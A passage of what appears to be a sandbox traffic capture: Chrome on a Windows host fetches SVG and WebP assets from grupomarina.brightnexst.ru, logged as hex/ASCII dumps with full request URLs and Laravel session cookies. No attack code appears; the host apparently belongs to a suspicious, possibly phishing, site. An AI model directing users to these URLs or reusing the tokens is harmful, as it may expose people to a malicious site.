18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.31
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 31 39 64 34 0d 0a 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 Data Ascii: 19d42395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.46
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 32 20 31 36 2e 32 32 30 35 20 31 32 2e 31 35 31 36 43 31 37 2e 31 34 34 34 20 38 2e 35 36 34 31 33 20 32 30 2e 32 35 34 37 20 35 2e 39 31 34 34 35 20 32 33 2e 39 37 36 32 20 35 2e 39 31 34 34 35 43 32 37 2e 37 Data Ascii: 03 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.6952 16.2205 12.1516C17.1444 8.56413 20.2547 5.91445 23.9762 5.91445C27.7
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 5a 4d 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 4c 31 39 2e 35 Data Ascii: 1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.505L19.6009 44.902ZM19.5988 44.9007L21.7107 41.5037L21.7102 41.5033L19.5
2025-03-17 20:55:18 UTC	1369	IN	Data Raw: 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 31 32 32 20 32 31 2e 30 38 31 31 43 34 37 2e 33 31 32 34 20 32 31 2e 30 33 34 34 20 34 37 2e 33 31 32 35 20 32 30 2e 39 38 37 37 20 34 37 2e 33 31 32 35 20 32 30 2e 39 34 31 32 48 33 39 2e 33 31 32 35 5a 4d 33 Data Ascii: 9.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3122 21.0811C47.3124 21.0344 47.3125 20.9877 47.3125 20.9412H39.3125ZM3
2025-03-17 20:55:18 UTC	1144	IN	Data Raw: 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 35 2e 37 30 34 37 20 33 31 2e 33 37 36 34 20 31 36 2e 31 34 38 33 4c 33 32 2e 30 39 34 31 20 38 2e 31 38 30 35 35 43 32 36 2e 36 39 35 39 20 37 2e 36 39 34 33 33 20 32 31 2e 32 36 37 20 37 2e 36 38 39 38 37 20 Data Ascii: M9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 15.7047 31.3764 16.1483L32.0941 8.18055C26.6959 7.69433 21.267 7.68987
2025-03-17 20:55:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49769	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1483	OUT	GET /qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:17 UTC	1103	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:17 GMT Content-Type: image/webp Content-Length: 9648 Connection: close Content-Disposition: inline; filename="qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tRYo%2BfQbg11DZJ1oghYYN1AqFbhlU84%2BYYate%2FHH0nfdm1hYoZzNklfyluv70UnUDhifQsM2TH6oxUBWajJWkJLmsWwp1Mm4HGnM%2FZHjrPWddEXafK5PVtRl%2FO0o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3622&min_rtt=3600&rtt_var=1395&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2394&delivery_rate=765732&cwnd=250&unsent_bytes=0&cid=234f9b3368a5b59e&ts=80&x=0" Server: cloudflare CF-RAY: 921f63ec0f6b4233-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1779&min_rtt=1730&rtt_var=684&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2055&delivery_rate=1687861&cwnd=178&unsent_bytes=0&cid=e0c51c419f3fbeae&ts=284&x=0"
2025-03-17 20:55:17 UTC	266	IN	Data Raw: 52 49 46 46 a8 25 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 f9 01 00 2e 01 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF%WEBPVP8X0.ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 63 70 72 74 00 00 01 8c 00 00 00 3c 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 f7 02 00 00 01 0f 30 ff 11 11 82 6e b3 6d 75 04 eb 47 04 84 74 30 34 Data Ascii: cprt<mlucenUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPH0nmuGt04
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 8a d4 a6 c6 b1 46 e1 e3 28 89 94 41 80 a5 34 2e 1f 44 14 20 81 d7 b4 fe 20 b5 34 54 a3 0a 5b c4 ca d5 85 c6 5c ba de ca 82 44 3d e9 29 c2 99 74 6a ec 2e c0 55 b7 98 29 db 7b 98 ad 4a 74 59 df a4 43 7f fa 96 d2 fc 1e a9 83 1d 98 3b ff d5 ec 64 6c 59 9a f0 03 d6 a5 4f 38 4e ec 3a 68 37 d3 07 fb 1f 84 dd 2f 8d c4 96 b3 84 dd 1e f9 3a 16 77 91 b1 ba 12 d0 75 12 2b a1 1c 4c b4 b5 ef d5 2e 35 28 73 57 9a 39 e9 98 64 58 e9 d0 b4 7b e8 16 21 56 f2 7a 79 75 96 46 6d ff f8 fd 8e 47 59 1e 51 75 fa 4f 1c f4 c0 2b 50 0d c7 38 64 77 5c 56 a5 36 ed b8 72 b8 da 1e 0e 0a 69 82 90 3b 33 be ae 6c f6 56 ae 05 a3 38 1d 8c d7 88 56 f9 80 6c 09 bd 3c 43 e9 8d ed 68 6b be 0e a3 c5 6a 53 7a fc 05 18 5f ac 03 2a 1b 77 43 cf e8 fb a2 b4 a2 f0 8e 71 6d 71 27 f8 cb 31 bb 4a bb 26 91 Data Ascii: F(A4.D 4T[\D=)tj.U){JtYC;dlYO8N:h7/:wu+L.5(sW9dX{!VzyuFmGYQuO+P8dw\V6ri;3lV8Vl<ChkjSz_*wCqmq'1J&
2025-03-17 20:55:17 UTC	244	IN	Data Raw: 47 6c a6 65 6a fe 63 8c f7 50 4c 87 0d e0 3d 38 62 8c 3c 2f 7b 21 e2 dd b4 96 4b c3 d9 51 5e 5b 4f 2c fd 2a a0 bd 20 ab 2c 33 bf ed e2 04 dd e7 69 af e6 eb cd 7a 92 04 2b 72 c0 f1 dd 28 00 47 75 de 65 0f 38 5a 84 ae 02 51 db 09 ec 89 38 1e 98 43 cf 50 89 af 52 0d 45 89 6b 6b e5 cc 10 46 c7 86 d2 c0 50 f6 84 50 22 53 b0 b1 7d bf b9 ae 5e af 53 74 d8 04 f6 f9 68 ab b4 1b 06 c3 76 71 2d 6f 23 97 f3 73 1a 6a 3a 34 ed 64 31 3e bc cd 97 3c bf cd c3 35 b7 ee 21 9e 0e cb 60 1c 13 f6 47 8d d4 74 4e e0 42 d6 40 a4 4e af 30 f4 de b7 ac 74 6a e8 f4 a2 03 93 cd 92 0a ec 6d 09 b2 b7 8e a9 35 a1 a0 c3 75 bf b5 81 16 c7 f1 b1 d4 5d 3d 72 a4 be db b5 16 f7 dc 35 7e 55 7e c7 67 09 3c 8b e3 3b f8 a6 de 44 25 d1 d6 bb c3 38 29 fe eb ff 1a c7 Data Ascii: GlejcPL=8b</{!KQ^[O,* ,3iz+r(Gue8ZQ8CPREkkFPP"S}^Sthvq-o#sj:4d1><5!`GtNB@N0tjm5u]=r5~U~g<;D%8)
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: ce 96 52 00 cb 29 c3 5e 1f 11 ef 1e ec a4 9e 8e c8 24 65 3f 8e 83 66 fe e9 b9 99 ad f8 c1 8b f1 dc 15 ca 57 a5 52 ef e0 00 0a ed 07 98 dd 12 ab 50 c7 63 d5 2c 27 c3 71 aa 86 f6 75 24 50 bf 8e c5 4d 96 ef cc 78 d4 be 99 94 4e 15 9d f1 dd 26 ff d4 f1 ed 6a 29 a4 db 39 c3 78 44 4f 02 f1 49 09 e7 32 df 50 bc 4d 88 90 8d ab 2e cf cf b2 91 45 d8 7e fe 3e e9 5a e3 b8 a4 2d 92 e4 b5 7b c1 a3 de 4c 76 a3 22 29 46 e1 2b ce da a2 55 52 f5 5c cc d7 34 b6 07 3f 7f b6 3f 9d f6 7e e5 12 be d8 f6 73 92 6a 3f 22 c5 05 07 7a fd 4f 81 8c 7c 65 01 1b 7b 7d bc 1b aa e9 0d a8 96 58 0e d9 8e 0f d6 09 b2 05 dd 20 20 42 66 2b 64 2d 64 0d 00 79 8e 53 80 b4 c3 ea 48 84 43 85 ab 05 d0 aa 15 67 80 f9 56 b4 4f 59 18 c8 99 87 cc 44 d5 b2 31 d3 b9 c2 35 33 e5 43 15 81 f9 54 d7 0c b9 ce Data Ascii: R)^$e?fWRPc,'qu$PMxN&j)9xDOI2PM.E~>Z-{Lv")F+UR\4??~sj?"zO\|e{}X Bf+d-dySHCgVOYD153CT
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 07 be 14 ff 13 47 e8 71 18 0a 03 d3 4b 96 0e f1 fe 47 29 00 4d 09 85 0d b5 cb 4f f7 95 f4 37 24 fd a4 f6 ce cd 00 77 59 74 0f 9f 27 84 10 0b e1 a0 fd 2f 7b 8e 9f de 91 ff 6b c9 0d 80 ae 94 98 95 99 39 41 2e ab 36 5e c6 50 1a a1 f2 47 f4 14 4d 2e cb ad 56 d2 1b 3c ac 80 26 43 3e f6 b5 75 dd d4 0f 22 0e d6 71 7e 93 d9 c5 fe 27 46 ed c2 37 7f 99 96 bf 59 a6 c2 7f fb 8e 7c a5 26 4f b6 ca 7c de e7 17 18 9f 38 59 f6 e5 3f 1b 39 a8 fa 36 1d 74 4e 65 0c 20 67 b2 be 25 f4 57 62 ac bb 12 7f 2d 64 a3 b0 b8 53 82 de ac 25 13 f3 9c 6f 05 4e 7e 64 ac 8a 8d 29 4c e6 14 17 8f 8a 06 cd 13 3a 25 09 a1 2b cc 49 a7 74 a6 7d 4f c8 5b 70 45 e6 18 c2 56 04 44 8b 60 45 e9 3b ab 02 12 92 16 8a 8f c8 43 48 b1 b9 c0 d6 13 a6 e4 51 f9 ca f3 69 ab d2 d6 cb 62 41 d8 8c 09 ab 15 bc 1f Data Ascii: GqKG)MO7$wYt'/{k9A.6^PGM.V<&C>u"q~'F7Y\|&O\|8Y?96tNe g%Wb-dS%oN~d)L:%+It}O[pEVD`E;CHQibA
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 3a c1 c5 df af b1 1a cb 6f f2 75 41 d8 77 98 66 c3 3f 01 d9 24 9e 2b 91 2c f1 58 5f f3 05 80 6f 0e e0 e6 df 4d 56 68 75 04 7c 61 9b 75 f8 94 a7 45 ec 60 97 2d ea 0f ad 5d 53 02 7c 34 13 79 11 49 eb ed 73 3f cd 1b 52 1e c2 3c fd ee 76 e4 b9 3d f3 f2 a2 30 5b 37 89 1e 02 07 9d e9 55 ea bd 89 4b bb 0d 7c ac e1 ac aa 24 ff 78 2a 6e eb 3f a5 8b 00 12 9d 6c ca b3 35 c4 ca d1 28 82 9c f7 4f b5 2f ef c9 c1 ce 19 c5 b1 ca 3d 0a c7 32 bb a3 15 ed aa c7 61 57 ee 49 e1 1c ef b5 22 e2 ab 16 a7 99 30 0f 0a ed 32 64 e2 a3 95 c7 20 6a b5 43 6e f9 e1 23 37 95 18 4c 17 51 37 9b 54 17 36 13 61 8e 45 51 f2 6c 5a 61 25 ef 23 7a 79 49 46 f6 54 79 9c 85 92 25 55 6a a7 61 f1 e6 a5 5b 2d b0 5b 1f 7d 1c 01 a8 32 ff d6 67 8f 03 fc 92 f6 4f 6e 46 ba 75 1c 38 b6 85 cf 4f 3a fc a4 78 Data Ascii: :ouAwf?$+,X_oMVhu\|auE`-]S\|4yIs?R<v=0[7UK\|$x*n?l5(O/=2aWI"02d jCn#7LQ7T6aEQlZa%#zyIFTy%Uja[-[}2gOnFu8O:x
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 3c 7c 60 21 df 65 7b 3f 6b b9 01 f8 7f dc 63 80 8f 21 d2 23 ae dd 7f 9d 62 35 30 f3 7d dc 46 ee 5c 25 2d 0a f3 1f d2 eb 5e b7 d1 51 64 c3 98 0a 99 8a a0 2c 28 09 7c 30 ba bf 48 8f e9 26 58 55 ff 7c 10 56 b3 a3 5b 86 4f 58 99 8c 82 c0 d7 9d 8c 50 56 9c 75 9b 20 99 9e bf 75 82 5b 71 0a 50 59 a6 38 a7 2d c6 e9 c9 d4 2b 5f 7f 73 bd 0c 18 f1 2a 6b 00 57 ee 6e de ad f7 a8 e2 72 66 12 e0 32 ac 01 92 57 32 c3 e7 de 22 67 08 77 2b 83 ff ba d4 00 c5 11 4a bf 87 87 a6 b6 d2 c2 9d 47 55 7b 94 bd 06 0e bd ce 5a a8 a5 67 22 aa 2f b1 57 8b 01 02 68 d3 39 63 41 89 4f 00 26 f5 ad c3 52 c9 4a cb 89 09 41 86 36 1b 40 d9 c3 cd 85 62 de 53 35 4d fe 81 27 4a f2 b4 14 6f ef 07 9c d2 ca 9d 14 3a a4 13 13 ca 4c 22 ef 82 89 ee 8f d6 a6 47 48 2a 82 df 7e 6a 44 1b 0f 6d 7c 30 b6 68 Data Ascii: <\|`!e{?kc!#b50}F\%-^Qd,(\|0H&XU\|V[OXPVu u[qPY8-+_skWnrf2W2"gw+JGU{Zg"/Wh9cAO&RJA6@bS5M'Jo:L"GH~jDm\|0h
2025-03-17 20:55:17 UTC	924	IN	Data Raw: e1 21 33 80 11 99 9f ed 80 a6 c3 98 5f 3c 1f ff e0 ed 55 f3 00 c6 7a ce 21 00 33 2e 74 d2 91 1d 5d 3f a5 53 32 ad 6c c5 7c e0 e3 07 04 10 fd 7e b0 7a 35 b7 83 14 99 23 72 ab 96 98 26 c0 bd 3a 41 8f e9 ee b7 ae a1 32 0d 5d 64 5c 6a 5f 18 56 8b 77 03 1c 0e e8 36 f3 31 8e 8b 23 ae 78 88 e9 da d8 50 4c 73 2d 53 14 a4 a9 70 01 31 09 19 f9 80 4a bb 03 53 55 59 d3 bd 40 72 7e 26 4e b9 94 c5 f3 f1 1c 22 ae a1 6e c8 0d 53 87 5d a2 b6 19 23 57 47 80 c1 0c 78 90 83 e9 f0 e1 e8 98 3d 45 00 34 6e 41 b6 5e bd 32 25 7f b1 c5 80 aa 54 06 99 19 d5 62 1a 59 b4 61 bf 78 8c fa fb db fb ab 21 c8 0f 06 7a 54 3b c2 79 33 e8 ab 02 cb eb 92 65 f1 04 95 6a a3 42 45 5b 84 03 bf bf aa ef 4a a7 2c e6 ff d7 2f 3e f6 23 5c ef e4 72 77 a6 33 5b 0c 1b 05 ed 70 87 c5 32 43 7d e0 20 f6 9f Data Ascii: !3_<Uz!3.t]?S2l\|~z5#r&:A2]d\j_Vw61#xPLs-Sp1JSUY@r~&N"nS]#WGx=E4nA^2%TbYax!zT;y3ejBE[J,/>#\rw3[p2C}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49770	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1172	OUT	GET /yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:18 UTC	1103	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZXrsgHZQZ7C%2B5StrRnjCpJWSiN0fG5ztqodKiPEnRAlR1aRrAsHoBejYfYwfFNnpz2qHRPGgYV0KAEpWsTr0WO6kdmLxnbGcv6EVbluNx55uaGhuECBl%2BHvguZtW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1525&min_rtt=1207&rtt_var=680&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2082&delivery_rate=2399337&cwnd=233&unsent_bytes=0&cid=b0fcc60a66a90725&ts=130&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63ec6f5a97d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2461&min_rtt=2455&rtt_var=932&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1744&delivery_rate=1166600&cwnd=87&unsent_bytes=0&cid=dd26f83e2deb3daf&ts=1133&x=0"
2025-03-17 20:55:18 UTC	266	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect 